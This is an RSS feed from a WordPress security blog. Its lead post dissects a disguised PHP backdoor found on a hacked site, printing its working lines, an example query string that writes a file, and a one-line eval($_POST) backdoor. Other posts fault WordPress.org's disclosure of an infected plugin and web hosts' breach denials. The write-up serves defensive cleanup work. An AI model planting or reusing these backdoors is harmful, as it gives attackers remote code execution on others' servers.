<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Smackdown!</title>
	
	<link>http://smackdown.blogsblogsblogs.com</link>
	<description>Smackdown!</description>
	<lastBuildDate>Thu, 25 Apr 2013 19:39:52 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/mvandemar-smackdown" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="mvandemar-smackdown" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>New WordPress Backdoor Style Discovered – Hackers Think They Are Sneaky</title>
		<link>http://smackdown.blogsblogsblogs.com/2013/04/25/new-wordpress-backdoor-style-discovered-hackers-think-they-are-sneaky/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2013/04/25/new-wordpress-backdoor-style-discovered-hackers-think-they-are-sneaky/#comments</comments>
		<pubDate>Thu, 25 Apr 2013 19:39:52 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[coding]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=1198</guid>
		<description><![CDATA[I was cleaning a client&#8217;s site today that had been hacked, when I discovered a new backdoor implementation that I had never seen before. This one is a perfect example of why automated scans are often not sufficient when cleaning up a hacked WordPress installation. You can see the full file here: 99bde887d.php. The file [...]]]></description>
				<content:encoded><![CDATA[<p>I was cleaning a client&#8217;s site today that had been hacked, when I discovered a new backdoor implementation that I had never seen before. This one is a perfect example of why automated scans are often not sufficient when cleaning up a <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/">hacked WordPress</a> installation. You can see the full file here: <a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2013/04/99bde887d.phps" target="_blank">99bde887d.php</a>.</p>
<p>The file was dropped into the theme that the client is using, and is coded to mimic a core WordPress file, using some of the same function names and coding conventions that WordPress itself uses. It is designed so that most people opening it and actually looking at the code would still not notice that it was anything malicious. I have seen enough back doors though that even creative ones will often stand out to me. It is definitely not something that would be picked up with any of the existing scripted scans out there. While of course someone can update their plugins or scripts to include specific strings to look for that this file contains,<span id="more-1198"></span> the exact variable names and other text in the file could be modified easily enough, even in an automated per-hack basis, so that while the updated scripts would find any instances of <em>this</em> backdoor that I found, they would miss any and all variations of it.</p>
<p>The relevant bits of the code include lines 14 &#038; 15, 47 &#038; 48, and 71 through 77. The rest of the code is misdirection, placed there to cover the tracks of those 11 lines. Lines 14 &#038; 15 look like such:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>14
15
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">defined</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DOING_AJAX'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #990000;">defined</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DOING_CRON'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
	<span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Since this file is not using include() or require() to tie into any of the core WordPress files, neither defined(&#8216;DOING_AJAX&#8217;) nor defined(&#8216;DOING_CRON&#8217;) will ever return &#8220;true&#8221;, so the only actual check here is to see if there are any POST parameters being passed in. If so, continue on, and if not then simply die() (halt execution of the script). Lines 16 through 46 set a constant that never gets used, a function that never gets called, and an if statement that always returns false (but is set to look like it is supposed to load WordPress). The next bit of code that actually does anything are lines 47 &#038; 48:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>47
48
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900; font-weight: bold;">false</span> <span style="color: #339933;">===</span> <span style="color: #000088;">$crons</span> <span style="color: #339933;">=</span> _get_cron_array<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
	<span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>While this statement may appear to be innocuous enough, what it actually does is set a dummy variable to the output of a function, and if that result is false, die(). The sneaky bit is that by setting the variable it actually causes the function to process, and since the function doesn&#8217;t return a value the if statement always evaluates to false. Thus the entire active bits of the script are: check if there are POST parameters, and if so, call this one function, and then end the script.</p>
<p>The function in question, which in this script is named _get_cron_array() and shares the same name as a core WordPress function (but could in fact be named anything), is on lines 71 through 77:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>71
72
73
74
75
76
77
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> _get_cron_array<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$info</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_merge</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_REQUEST</span><span style="color: #339933;">,</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'lng'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'Restricted access'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">else</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'feed'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'link'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;'</span><span style="color: #339933;">.</span>
	<span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'lng'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>What this does is merges all of the REQUEST variable (eg. POST and GET) with the COOKIE variables into a single array named $info, and checks for the existence of one named &#8220;lng&#8221;. If it doesn&#8217;t exist then just stop there, but if it does then treat one named &#8220;feed&#8221; as a function, with ones name &#8220;file&#8221;, &#8220;link&#8221;, &#8220;lng&#8221;, &#8220;title&#8221;, and assuming &#8220;file&#8221; is an array, the second element of &#8220;file&#8221;, all as parameters that are passed into that function. The upshot of this is that they can pass in <em>any php function whatsoever</em> in the parameter named &#8220;feed&#8221;, and the script will execute it on the server. For example, if the following query string were passed into this script:</p>
<p>feed=file_put_contents&#038;file=t0ast.php&#038;link=<?php%20echo%20&#038;lng=success&#038;title=;%20?></p>
<p>It would then create a script on the server named t0ast.php, with the following contents:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;success&quot;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Of course, I am sure what the hackers passed in was not quite as harmless as this example. This script is a variation of the shortest backdoor that I have ever encountered, which I still see in use occasionally at the top of sites that have been hit:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'asc'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>That code does essentially the same thing, allowing arbitrary php code to be executed on the server (ie. it is an RCE, or Remote Code Execution, exploit). The shorter code, however, is easily detected, even with variations. This new script, however, is not. This is why I strongly advocate a complete rebuild of your site if you happen to get hit by hackers, since there are so many ways to hide malicious code in the WordPress framework. By deleting the entire installation and replacing all of the core files and plugins with fresh copies, retaining only the theme and uploads folders, it greatly reduces the amount of code that needs to be examined by hand, which makes it much easier to find stuff like what I outlined here.</p>
<p>If you have been hit, and you are not comfortable following my <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/">WordPress cleaning guide</a> yourself, I am available for hire. Simply fill out <a href="http://smackdown.blogsblogsblogs.com/contact-michael-vandemar/">my contact form</a> letting me know the details of what is going on, and I will get back to you as soon as possible. </p>
<img src="http://feeds.feedburner.com/~r/mvandemar-smackdown/~4/rDIbBu-Z1lE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2013/04/25/new-wordpress-backdoor-style-discovered-hackers-think-they-are-sneaky/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Warning: WordPress.org Does Not Tell You If You Download An Infected Plugin From Them</title>
		<link>http://smackdown.blogsblogsblogs.com/2013/04/10/warning-wordpress-org-does-not-tell-you-if-you-download-an-infected-plugin-from-them/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2013/04/10/warning-wordpress-org-does-not-tell-you-if-you-download-an-infected-plugin-from-them/#comments</comments>
		<pubDate>Wed, 10 Apr 2013 13:00:19 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=1173</guid>
		<description><![CDATA[Have you ever logged in to your WordPress dashboard, noticed that there were some updates pending, but simply couldn&#8217;t be bothered pushing the button to run them? Sure you have. Who hasn&#8217;t? A good majority of my work comes from dehacking websites that have been compromised, and even I slack on that from time to [...]]]></description>
				<content:encoded><![CDATA[<p>Have you ever logged in to your WordPress dashboard, noticed that there were some updates pending, but simply couldn&#8217;t be bothered pushing the button to run them? Sure you have. Who hasn&#8217;t? A good majority of my work comes from dehacking websites that have been compromised, and even I slack on that from time to time. I mean, if there are no security bulletins about the updates, and I am only using plugins I have downloaded directly from WordPress.org I should be fine, right?</p>
<p><strong>Wrong.</strong></p>
<p>The day before yesterday I rebuilt a client&#8217;s site that had ben hacked, grabbing fresh versions of all of the plugins he was using. I noticed that one of the plugins, <a href="http://wordpress.org/extend/plugins/social-media-widget/" target="_blank">Social Media Widget</a>, didn&#8217;t download though, and when I went to investigate why<span id="more-1173"></span> I saw that it had been yanked from the WordPress repositories. Checking Google&#8217;s cache I could tell that it had only recently been removed, that the old download button still worked, and there were no warnings or messages as to why it was pulled anywhere I looked. I went ahead and grabbed a fresh copy, then posted on the support forums (which also gave no clues as to why it was gone) asking what was up with it:</p>
<p><a href="http://wordpress.org/support/topic/anyone-know-why-social-media-widget-was-removed" target="_blank">http://wordpress.org/support/topic/anyone-know-why-social-media-widget-was-removed</a></p>
<p>A few hours later I got my answer: the plugin was infected with malware, so they had removed the plugin page altogether. According to <a href="https://twitter.com/Otto42" target="_blank">Samuel Wood (Otto)</a>, one of the WordPress devs, they &#8220;forced an update&#8221; of the plugin to a version that they fixed:</p>
<p>&nbsp;</p>
<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2013/04/we-forced-an-update.png"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2013/04/we-forced-an-update.png" alt="we-forced-an-update" width="650" height="85" class="aligncenter size-full wp-image-1174" /></a></p>
<p>&nbsp;</p>
<p>Two things struck me as wrong about this. First, WordPress cannot &#8220;force&#8221; an update of a plugin to the users themselves, so Otto&#8217;s claim was misleading at best. They can only update the svn, which then let&#8217;s the user know that there is an update available (assuming that they log in to their dashboard of course). If the users do not see the update, or do not have reason to believe that there is an urgent reason to run it, then it will remain on their installations until they do. To give you an idea of how ineffectual that tactic is, if one relies solely on that for protecting the infected blogs, here is a screenshot of the distribution of the various active versions of the plugin from back on March 28th:</p>
<p>&nbsp;</p>
<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2013/04/social-media-widget-stats-page.png"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2013/04/social-media-widget-stats-page.png" alt="social-media-widget-stats-page" width="562" height="332" class="aligncenter size-full wp-image-1189" /></a></p>
<p>&nbsp;</p>
<p>This shows that less than 10% of the almost 1 million users had upgraded to the most recent version of the plugin, which had been out for a month when this data was collected.</p>
<p>Second, why is it that until I actually posted this question, no word about this infected plugin was mentioned by WordPress? There was nothing on the WordPress.org blog, nothing on Twitter from any of the developers, nothing on <a href="http://wordpress.org/support/plugin/social-media-widget" target="_blank">the plugin&#8217;s support forum</a>, and of course, aside from letting me know that there was an update, nothing in the WordPress dashboard, <strong>not even when I clicked on the &#8220;View version 4.0.1 details&#8221; link in my plugins screen</strong>:</p>
<p>&nbsp;</p>
<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2013/04/social-media-widget-update-available.png"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2013/04/social-media-widget-update-available.png" alt="social-media-widget-update-available" width="713" height="98" class="aligncenter size-full wp-image-1176" /></a></p>
<p>&nbsp;</p>
<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2013/04/social-media-widget-4.0.1-changelog.png"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2013/04/social-media-widget-4.0.1-changelog.png" alt="social-media-widget-4.0.1-changelog" width="644" height="402" class="aligncenter size-full wp-image-1175" /></a></p>
<p>&nbsp;</p>
<p>In fact, the only place you will see any information related to this malware is if you run the update, navigate to the folder for the plugin, open the readme.txt in there, and scroll down to line 181:</p>
<pre>== Changelog ==

= 4.0.1 =

* Remove potentially malicious code.</pre>
<p>And that&#8217;s the extent of what WordPress feels is necessary to warn it&#8217;s users that there was a exploited plugin that was distributed from the official plugin repositories. This isn&#8217;t one of those obscure, rarely used plugins, either. Before being yanked this plugin had been downloaded 940,776 times. Currently the remote file that was being included in the plugin merely contained some spam, and associated Javascript to hide the spam from normal view, but since the remote file itself is under control of someone who obviously is not brimming over with moral fortitude there is nothing saying that they couldn&#8217;t decide just as easily to swap the file out for something that spreads viruses. In such a case that would mean that everyone still unaware that they are hosting an infected plugin would suddenly be serving viruses to their audience. If you ask me the fact that there is a chance that could happen should be enough to put out a tad bit more of an alert than a single line in a reademe.txt that the majority of people will never read. WordPress, however, doesn&#8217;t seem to feel that way.</p>
<p>Even more disconcerting is what I found out a little bit after that. Once I got my answer in the thread I opened, Sucuri <a href="http://blog.sucuri.net/2013/04/wordpress-plugin-social-media-widget.html" target="_blank">blogged about it</a>, and Samuel left a few comments there as well, where he used the phrase &#8220;Normally in these cases&#8221; when referring to this incident:</p>
<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2013/04/we-normally-hide-infected-plugin-indcidents.png"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2013/04/we-normally-hide-infected-plugin-indcidents.png" alt="we-normally-hide-infected-plugin-indcidents" width="680" height="402" class="aligncenter size-full wp-image-1181" /></a></p>
<p>This tells me that, regardless of how rare it happens, it appears to be WordPress&#8217;s policy that when an infected or compromised plugin makes it&#8217;s way into the repositories they quietly clean it up without any fanfare. Often times, unfortunately, this would be like closing the proverbial barn door after the horses got out, and stronger measures may be necessary (up to and including <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">rebuilding the whole installation</a> in some cases). The WordPress plugin repositories are supposed to be a trusted source. Not being more forthcoming when something like this happens borders on negligence, to put it bluntly.</p>
<p>I understand that in years past WordPress had quite the reputation as being a security risk, and that there is a certain amount of bad press associated with being upfront about incidents such as this. However, I hope that WordPress will eventually decide that potential public safety risks outweigh not wanting to look bad, will do the right thing, and will change their policies about publicly letting people know when these things happen.</p>
<img src="http://feeds.feedburner.com/~r/mvandemar-smackdown/~4/5DBwX0Taoi4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2013/04/10/warning-wordpress-org-does-not-tell-you-if-you-download-an-infected-plugin-from-them/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Hosting with HostPapa or Netregistry and Hacked? Switch Hosts Now. (hacked by hacker)</title>
		<link>http://smackdown.blogsblogsblogs.com/2012/11/14/hacked-on-hostpapa-or-netregistry/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2012/11/14/hacked-on-hostpapa-or-netregistry/#comments</comments>
		<pubDate>Thu, 15 Nov 2012 00:21:35 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[customer service]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=1141</guid>
		<description><![CDATA[It looks like another pair of hosts have joined GoDaddy in the &#8220;Not our fault&#8221; game when their servers get breached. Yesterday I had a few people contact me whose sites had been hacked, all with the identical symptoms: the only thing showing on their sites are the words hacked by hacker in plain text, [...]]]></description>
				<content:encoded><![CDATA[<p>It looks like another pair of hosts have joined <a href="http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/" target="_blank">GoDaddy</a> in the &#8220;Not our fault&#8221; game when their servers get breached. Yesterday I had a few people contact me whose sites had been hacked, all with the identical symptoms: the only thing showing on their sites are the words <strong>hacked by hacker</strong> in plain text, on a white background. The one thing they all had in common is that they were hosting with either <a href="https://twitter.com/HostPapa" target="_blank">HostPapa</a> or <a href="https://twitter.com/netregistry" target="_blank">Netregistry</a>, and the one thing that both hosts had in common is that they refused to own up to the problem:</p>
<p>&nbsp;</p>
<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/11/netregistry-says-not-their-fault.png"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/11/netregistry-says-not-their-fault.png" alt="" title="Netregistry says not their fault" width="538" height="277" class="aligncenter size-full wp-image-1142" /></a></p>
<p>&nbsp;</p>
<p>and in HostPapa&#8217;s case they are even trying to blame it on WordPress:</p>
<p>&nbsp;</p>
<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/11/hostpapa-says-its-wordpress.png"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/11/hostpapa-says-its-wordpress.png" alt="" title="HostPapa says its wordpress" width="535" height="279" class="aligncenter size-full wp-image-1143" /></a></p>
<p>&nbsp;</p>
<p>Isn&#8217;t it nice the way they are able to determine that it is a WordPress issue, without even knowing which site it is? These styles of hacks, which usually have a specific hacker&#8217;s tag or signature rather than just &#8220;hacker&#8221;, often indicate to me that something other than a standard scripting exploit is at play. Whenever I see a site hit with a similar defacing hack, the first thing I do is check to see if there are other sites affected on the same host. </p>
<p><em>Warning: I am on Linux, which is unaffected by viruses that can affect Windows users. Unless you are on Linux or a Mac you should exercise extreme caution when looking for hacked sites, even if you have up to date antivirus software installed.</em> </p>
<p>The way I check is I ping the infected domain in order to get the IP address, which in this case was srv03.netregistry.net (180.235.128.204), which I then plug into Bing using their &#8220;ip:&#8221; advanced search option (search by IP), plus the phrase &#8220;powered by WordPress&#8221;:</p>
<p><a href="http://www.bing.com/search?q=ip%3A180.235.128.204+%2B%22powered+by+Wordpress%22" target=_blank">http://www.bing.com/search?q=ip%3A180.235.128.204+%2B%22powered+by+Wordpress%22</a></p>
<p>Clicking through those results I could easily see that this was far from isolated, and by using Bing&#8217;s cache I was able to determine that many of these sites were in fact up to date running the latest WordPress version before getting hit. I then tried several other of their servers (srv01.netregistry.net, srv02.netregistry.net, and srv04.netregistry.net), all with the same result. I sent them a tweet <a href="https://twitter.com/mvandemar/status/268584674987753472" target="_blank">letting them know</a> that they appeared to have an issue, and they replied, as shown in the screenshot above, that they were able to &#8220;confirm there&#8217;s been no server security breaches&#8221;. I then gave them examples of 15 identical hacks across 4 different servers of theirs <a href="https://twitter.com/mvandemar/status/268593046306820096" target="_blank">here</a>, <a href="https://twitter.com/mvandemar/status/268593684533092352" target="_blank">here</a>, <a href="https://twitter.com/mvandemar/status/268594924264513536" target="_blank">here</a>, and <a href="https://twitter.com/mvandemar/status/268596096392126464" target="_blank">here</a>. As of yet they have not bothered to reply to those tweets.</p>
<p>While I was in the midst of investigating Netregistry, someone else contacted me with the exact same hack, only their site was hosted with HostPapa. Going through the same process (as well as checking with recent forum posts from people with these symptoms) I checked hp82.hostpapa.com (76.74.128.200), hp78.hostpapa.com (76.74.128.160), and hp86.hostpapa.com (76.74.242.140), and found the same issues with all of them. Regardless of the evidence, however, HostPapa is still insisting that this is a WordPress issue:</p>
<p>&nbsp;</p>
<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/11/hostpapa-still-says-its-wordpress.png"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/11/hostpapa-still-says-its-wordpress.png" alt="" title="HostPapa still says it&#039;s WordPress" width="539" height="334" class="aligncenter size-full wp-image-1146" /></a></p>
<p>&nbsp;</p>
<p>There are a few issues with them trying to blame this on WordPress. First off, if this were an issue affecting WordPress installations that were up to date with the latest (which is 3.4.2, which quite a few of these sites were running), then it would be much, much more widespread, and it would not be isolated to just these two hosts. Secondly, if this were a WordPress issue then why was I able to find at least 1 Joomla site on HostPapa with the exact same hack?</p>
<p>&nbsp;</p>
<p><a href="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/11/not-wordpress-issue-sm.png"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/11/not-wordpress-issue-sm.png" alt="" title="Not a WordPress issue" width="500" height="335" class="aligncenter size-full wp-image-1147" /></a></p>
<p>&nbsp;</p>
<p>I let HostPapa know this <a href="https://twitter.com/mvandemar/status/268832592386748416" target="_blank">via a tweet</a>, but they were uninterested in addressing that. Instead they seem more intent on blaming it on WordPress, telling their clients that they don&#8217;t help with hacking issues, and pretending that everything is fine. Just because a slew of sites that get hacked on a server are all running WordPress does not make it a WordPress issue. WordPress is a database driven platform, and is the most popular one out there. If a hacker locates a MySQL based exploit on a given host then the fastest ways to find a large number of sites to target would be to do searches similar to the ones I did above and aim for the WordPress ones. I am guessing this is actually what happened here, and it is obvious that this isn&#8217;t some 0-Day WordPress exploit (like both HostPapa and <a href="http://www.atmayogi.com/2012/11/wordpress-vulnerability-hacked-by-hacker/" rel="nofollow" target="_blank">this idiot here</a> are trying to claim).</p>
<p>Regardless of whether or not they eventually own up to it, if you are one of the unfortunates who happens to be hosting with either of these companies I would highly recommend you switch hosting, even if you are not one of the ones that got hacked. Again, I always recommend <a href="http://www.jdoqocy.com/nd115shqnhp48779B7A465965D68" target="_blank">Hostgator</a>, both for their security and for the fact that they happen to have better performing servers than many of the other hosts out there. </p>
<p>If you did get hit and you just want to get back up and running as fast as possible, luckily with the instances I saw this isn&#8217;t actually too difficult. While the next wave of hackers who come through might do more damage, at this point it seems to simply be a matter of replacing your root index.php with a fresh one from a clean WordPress install, and replacing either your index.php or header.php (or both) inside your theme using backups or clean downloads (assuming you have a readily downloadable copy of the theme you are using). I also saw some instances of people being unable to log in to the WordPress admin interface. The solution to that, as I <a href="http://wordpress.org/support/topic/hacked-by-hacker-2" target="_blank">described here</a>, is to go in to your database through the phpmyadmin in cpanel and look at the wp_users table. If they switched the admin username and email, edit the record to switch it back and then go through the Lost Password function on the WP login page. </p>
<p>One thing to be careful of is that often times in cases like these the hackers will drop back doors on the sites, so that even once the host fixes the initial issue the hackers can just get right back in again later. If anyone has any issues where they keep getting hacked, even after moving to a new host, I am available to do professional cleanings. Feel free to <a href="http://smackdown.blogsblogsblogs.com/contact-michael-vandemar/">contact me</a> for more information. Also, <a href="http://www.jdoqocy.com/nd115shqnhp48779B7A465965D68" target="_blank">Hostgator</a> does offer free migrations in some instances, but if you have multiple or complex sites that you would like migrated to them I can assist with that as well (or to another host if you prefer, of course).</p>
<p>More resources:</p>
<p><a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/">How To Clean Hacked WordPress</a><br />
<a href="http://codex.wordpress.org/FAQ_My_site_was_hacked">WordPress FAQ: My site was hacked</a><br />
<a href="http://ottopress.com/2009/hacked-wordpress-backdoors/">How to find a backdoor in a hacked WordPress</a></p>
<img src="http://feeds.feedburner.com/~r/mvandemar-smackdown/~4/sT2ojEsbkn4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2012/11/14/hacked-on-hostpapa-or-netregistry/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sometimes I Worry About the World I Live In.</title>
		<link>http://smackdown.blogsblogsblogs.com/2012/10/17/sometimes-i-worry-about-the-world-i-live-in/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2012/10/17/sometimes-i-worry-about-the-world-i-live-in/#comments</comments>
		<pubDate>Wed, 17 Oct 2012 18:25:02 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=1128</guid>
		<description><![CDATA[&#160; Click on the picture below. Click Like, then Share, then type the words &#8220;Show me&#8221; in the comments. Watch and see what happens.]]></description>
				<content:encoded><![CDATA[<p>&nbsp;</p>
<ol>
<li>Click on the picture below.</li>
<li>Click Like, then Share, then type the words &#8220;Show me&#8221; in the comments.</li>
<li>Watch and see what happens.</li>
</ol>
<p><a href="http://www.facebook.com/photo.php?fbid=10151064471771816&#038;set=a.56424451815.78552.552921815&#038;type=1&#038;relevant_count=1&#038;ref=nf"><img src="http://smackdown.blogsblogsblogs.com/wp-content/uploads/2012/10/fb-jump.png" alt="Click it, you know you want to..." title="Click it, you know you want to..." width="523" height="700" class="aligncenter size-full wp-image-1129" onmouseup="hl2l(event);" style="margin-left:40px;" /></a></p>
<img src="http://feeds.feedburner.com/~r/mvandemar-smackdown/~4/Tpv40UGRjjg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2012/10/17/sometimes-i-worry-about-the-world-i-live-in/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Truth, the Whole Truth, and Nothing But the Truth</title>
		<link>http://smackdown.blogsblogsblogs.com/2012/08/06/the-truth-the-whole-truth-and-nothing-but-the-truth/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2012/08/06/the-truth-the-whole-truth-and-nothing-but-the-truth/#comments</comments>
		<pubDate>Mon, 06 Aug 2012 17:35:47 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[motivational posters]]></category>
		<category><![CDATA[spin]]></category>
		<category><![CDATA[the prez]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=1117</guid>
		<description><![CDATA[It would be interesting to see what arguments those who opposed the law come up with as well.]]></description>
